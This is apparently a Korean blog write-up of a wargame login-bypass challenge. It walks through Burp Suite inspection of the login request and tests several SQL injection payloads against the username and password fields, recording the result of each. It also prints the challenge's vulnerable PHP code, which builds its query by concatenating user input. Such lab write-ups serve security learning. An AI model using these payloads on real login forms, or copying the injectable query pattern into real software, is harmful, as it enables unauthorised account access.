Archive for Dev. (junyup2)

์ง€์‹์„ ์ฑ„์›Œ๊ฐ€๋Š” ใ€Ž๊ฐœ๋ฐœ์ž/ํ™”์ดํŠธํ•ด์ปคใ€๋ฅผ ๋ชฉํ‘œ๋กœ ์ •๋ฆฌํ•˜๋Š” ๋ธ”๋กœ๊ทธ

Wargame & CTF/SegFault

[SegFault] (Authentication Bypass) - Login Bypass 1

Gearvirus(junyup2) 2023. 12. 6. 04:01

[SegFault] Authentication Bypass (Login)

Login Bypass 1.

normaltic1 ๋กœ ๋กœ๊ทธ์ธํ•˜์ž!

 

๋ฌธ์ œ ํŒŒ์•…

  • ์œ„์˜ ํŽ˜์ด์ง€์— ์ ‘์†ํ•˜๋ฉด ์•„๋ž˜์™€ ๊ฐ™์€ ํ™”๋ฉด์ด ๋‚˜์˜จ๋‹ค.
  • ์•Œ๊ณ  ์žˆ๋Š” ๊ณ„์ • :  [ID/PW] : doldol / dol1234

  • Burp Suite์„ ์ด์šฉํ•˜์—ฌ ์‚ฌ์ดํŠธ ์ ‘์† ๊ณผ์ •์˜ ์ƒํƒœ์ฝ”๋“œ(Status code) ํ™•์ธํ•œ๋‹ค.
    • 302 Found 
    • 200 OK

  • ๋กœ๊ทธ์ธ ๊ณผ์ •์˜ ๊ตฌ์กฐ๋ฅผ ์•Œ๊ธฐ ์œ„ํ•ด, ์•Œ๊ณ  ์žˆ๋Š” ์ •๋ณด๋กœ ๋กœ๊ทธ์ธ์„ ์‹œ๋„ ํ•ด๋ณธ๋‹ค.
    • 302 Found
    • 200 OK

  • ์œ„์˜ ๋‘ history์— ๋Œ€ํ•œ ์š”์ฒญ(Request)์„ ์‚ดํŽด๋ณด์ž !

  • ์š”์ฒญ(Requset)์—์„œ POST ๋ฉ”์„œ๋“œ๋ฅผ ์ด์šฉํ•˜์—ฌ /login1/login.php ๊ฒฝ๋กœ์— ํŒŒ๋ผ๋ฏธํ„ฐUserId=doldol&Password=dol1234&Submit=Login๋ฅผ ๋ณด๋‚ด๋Š” ๊ฒƒ์„ ํ™•์ธ ๊ฐ€๋Šฅํ•˜๋‹ค.
  • login์— ์„ฑ๊ณตํ•˜์—ฌ index.php๋กœ ๋„˜์–ด๊ฐ€๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

์ƒ๊ฐ ๊ณผ์ •

์ƒ๊ฐ ๊ณผ์ •
1. SQL Injection์ด ๊ฐ€๋Šฅํ•œ๊ฐ€?
-> doldol' and '1'='1 / dol1234 ๋กœ ๋กœ๊ทธ์ธ์ด ๊ฐ€๋Šฅํ•˜๋‹ค๋ฉด SQL Injection์ด ๋™์ž‘ํ–ˆ๋‹ค๋Š” ๊ฒƒ!
2. ์–ด๋–ค ๋กœ๊ทธ์ธ ๋กœ์ง์œผ๋กœ ์ด๋ฃจ์–ด์ ธ ์žˆ์„๊นŒ?
-> ์šฐ์„ ์ ์œผ๋กœ ์‹๋ณ„/์ธ์ฆ ๋™์‹œ๋ฅผ ์ƒ๊ฐ
SELECT * FROM member WHERE UserId='___' and UserPw='___'; 
3. ์ธ์ฆ/์‹๋ณ„ ๋™์‹œ์˜ ๊ฒฝ์šฐ id์— ์ ‘์†ํ•˜๊ณ ์ž ํ•˜๋Š” id + 'or'1'='1์„ ์ž…๋ ฅํ•˜์—ฌ ์ฐธ์ด๋˜๊ฒŒ ๋งŒ๋“ค๊ณ , pw์—๋Š” ์•„๋ฌด๊ฑฐ๋‚˜ ์ž…๋ ฅํ•ด์„œ ๊ฑฐ์ง“์ด ๋˜๊ฒŒ ํ•ด์•ผํ•จ์„ ์ธ์‹(SQL์—์„œ ์—ฐ์‚ฐ์˜ ์šฐ์„ ์ˆœ์œ„๊ฐ€ or ๋ณด๋‹ค and๊ฐ€ ๋จผ์ €๊ธฐ ๋•Œ๋ฌธ์— ๊ฐ€๋Šฅ)
(๊ฒฐ๋ก  : id='normaltic1' or false๊ฐ€ ๋˜์•ผํ•จ)
4. id : normaltic1'or'1'='1 / pw : ์•„๋ฌด๊ฑฐ๋‚˜ ์‹œ๋„

ํ’€์ด ๊ณผ์ • (ํ•ด๊ฒฐ ๋ฐฉ์•ˆ)

 ์•„์ด๋””(id)์—๋Š” normaltic1'or'1'='1๋ฅผ ๋Œ€์ž…ํ•˜๊ณ , ๋น„๋ฐ€๋ฒˆํ˜ธ(pw)์—๋Š” ์•„๋ฌด๊ฑฐ๋‚˜ ๋„ฃ์–ด์ฃผ๋ฉด ๋œ๋‹ค.

  • ์„ฑ๊ณต์ ์œผ๋กœ ๋กœ๊ทธ์ธ ๋˜์–ด Flag๊ฐ€ ๋‚˜์˜ด
  • ๋˜ ๋˜๋Š” ๊ฒƒ์€ ์—†์„๊นŒ? ๊ณ ๋ฏผ
    • normaltic1'or'1'='1'#
    • (๋’ท ๋ถ€๋ถ„์„ ์ฃผ์„์ฒ˜๋ฆฌ)

์ด๊ฒƒ์ €๊ฒƒ ํ…Œ์ŠคํŠธ

ID : normaltic1' and '1' = '1' or '1' = '1
PW : dol1234
-> doldol๋กœ ๋กœ๊ทธ์ธ

ID : normaltic1' and '1' = '1' or '1' = '1
PW : ์•„๋ฌด๊ฑฐ๋‚˜
-> normaltic1๋กœ ๋กœ๊ทธ์ธ

ID : normaltic' or '1'='1'#
PW : ์•„๋ฌด๊ฑฐ๋‚˜
-> normaltic๋กœ ๋กœ๊ทธ์ธ

ID : normaltic' or '1'='1'#
PW : dol1234
-> doldol๋กœ ๋กœ๊ทธ์ธ

ID : ์•„๋ฌด๊ฑฐ๋‚˜
PW : normaltic' or '1'='1'#
-> ์ „์ฒด ๋ฐ์ดํ„ฐ login_acc

ID: ์•„๋ฌด๊ฑฐ๋‚˜
PW:dol1234' or '1'='1'#
-> ์ „์ฒด ๋ฐ์ดํ„ฐ

ํ•ด๋‹น ๋ฌธ์ œ์˜ ์‹ค์ œ ์ฝ”๋“œ

$sql = "SELECT * FROM member WHERE user_id='". $userid ."' and user_pass='". $userpass ."';";
$result = mysqli_query($db_conn, $sql);
$count = mysqli_num_rows($result);
$row = mysqli_fetch_array($result);
$username = $row['name'];
if($count > 0){
	return $username;
}else{
	return 0;
}
  • ํ•ด๋‹น ๋ฌธ์ œ๋ฅผ ๋ณด๋ฉด ์ฃผ์„์ด ์ œ๋Œ€๋กœ ๋จนํžˆ์ง€ ์•Š๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.
  • (์œ„์—์„œ ๋ณผ ์ˆ˜ ์žˆ๋“ฏ, ์‹๋ณ„์ธ์ฆ ๋ถ„๋ฆฌ๊ฐ€ ์•„๋‹ˆ๊ณ , ํ•„ํ„ฐ๋ง์ด ์•„๋‹Œ ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.)
  • ์ฃผ์„์ด ๋จนํžˆ๊ณ  ์žˆ์ง€๋งŒ ์•ˆ๋จนํžˆ๋Š” ํšจ๊ณผ๊ฐ€ ๋‚˜๋Š” ๊ฒƒ์ด๋‹ค. 
    • id : normaltic1' or '1'='1'#
    • pw : dol1234
    • -> doldol๋กœ ๋กœ๊ทธ์ธ
    • ์ฃผ์„์ด ๋จนํžŒ๋‹ค๋ฉด, ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ถ€๋ถ„์ด ์ฃผ์„์ฒ˜๋ฆฌ ๋˜์–ด normaltic1์œผ๋กœ ๋กœ๊ทธ์ธ ๋˜์–ด์•ผ ํ•œ๋‹ค.
    • ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ dol1234์ด๋ผ๋ฉด ์–ด๋–ค ์ƒํ™ฉ์—๋„ doldol๋กœ ๋กœ๊ทธ์ธ๋˜๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

์ƒ๊ฐํ•ด๋ณผ ์ 

  • ๋งŒ์•ฝ ) id/pw ๋‘˜๋‹ค normaltic1'or'1'='1 ์ด๋Ÿฐ์‹์œผ๋กœ ๋งŒ๋“ค์–ด ์ฃผ๋ฉด ์–ด๋–ป๊ฒŒ ๋ ๊นŒ?
  • ์ฐธ or ์ฐธ ์ด ๋˜์–ด ๊ฒฐ๋ก ์ด '์ฐธ' ์ด๋ฏ€๋กœ ๋กœ๊ทธ์ธ ๊ฐ€๋Šฅ
  • ํ•˜์ง€๋งŒ....!! ๋ชจ๋“  ๊ฒƒ์ด ์กฐํšŒ๋˜์–ด login_acc๊ฐ€ ๋‚˜์˜ค๊ฒŒ ๋จ
    • ์ „๋ถ€ ๋‚˜์˜ค๋ ค๋ฉด, ํŠน์ • ๊ฐ’์œผ๋กœ ์ฐธ์ธ ๊ฐ’์ด ์•„๋‹ˆ๊ณ , ๋ฌด์กฐ๊ฑด ์ฐธ์ธ ๋ช…์ œ์—ฌ์•ผ ํ•จ

  • normaltic, normaltic1~5๊ฐ€ ๋“ค์–ด๊ฐ€๋Š” ๊ฒฝ์šฐ ํ•ด๋‹น์œผ๋กœ ๋กœ๊ทธ์ธ๋˜๊ณ  ๊ทธ ์™ธ์—๋Š” ๋กœ๊ทธ์ธ ๋˜์ง€ ์•Š๋Š”๋‹ค.
  • ์ „์ฒด๋กœ ๋กœ๊ทธ์ธ ๋˜๊ณ  ๋‚˜์„œ ํ•ด๋‹น ์•„์ด๋””๊ฐ€ ์žˆ๋Š” ๊ฒฝ์šฐ์—๋งŒ ๋กœ๊ทธ์ธ ๋˜๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.

 

์งˆ๋ฌธ ํ™˜์˜, ์ˆ˜์ • ๋ฐ ๋ณด์™„์— ๋Œ€ํ•œ ์ง€์  ํ™˜์˜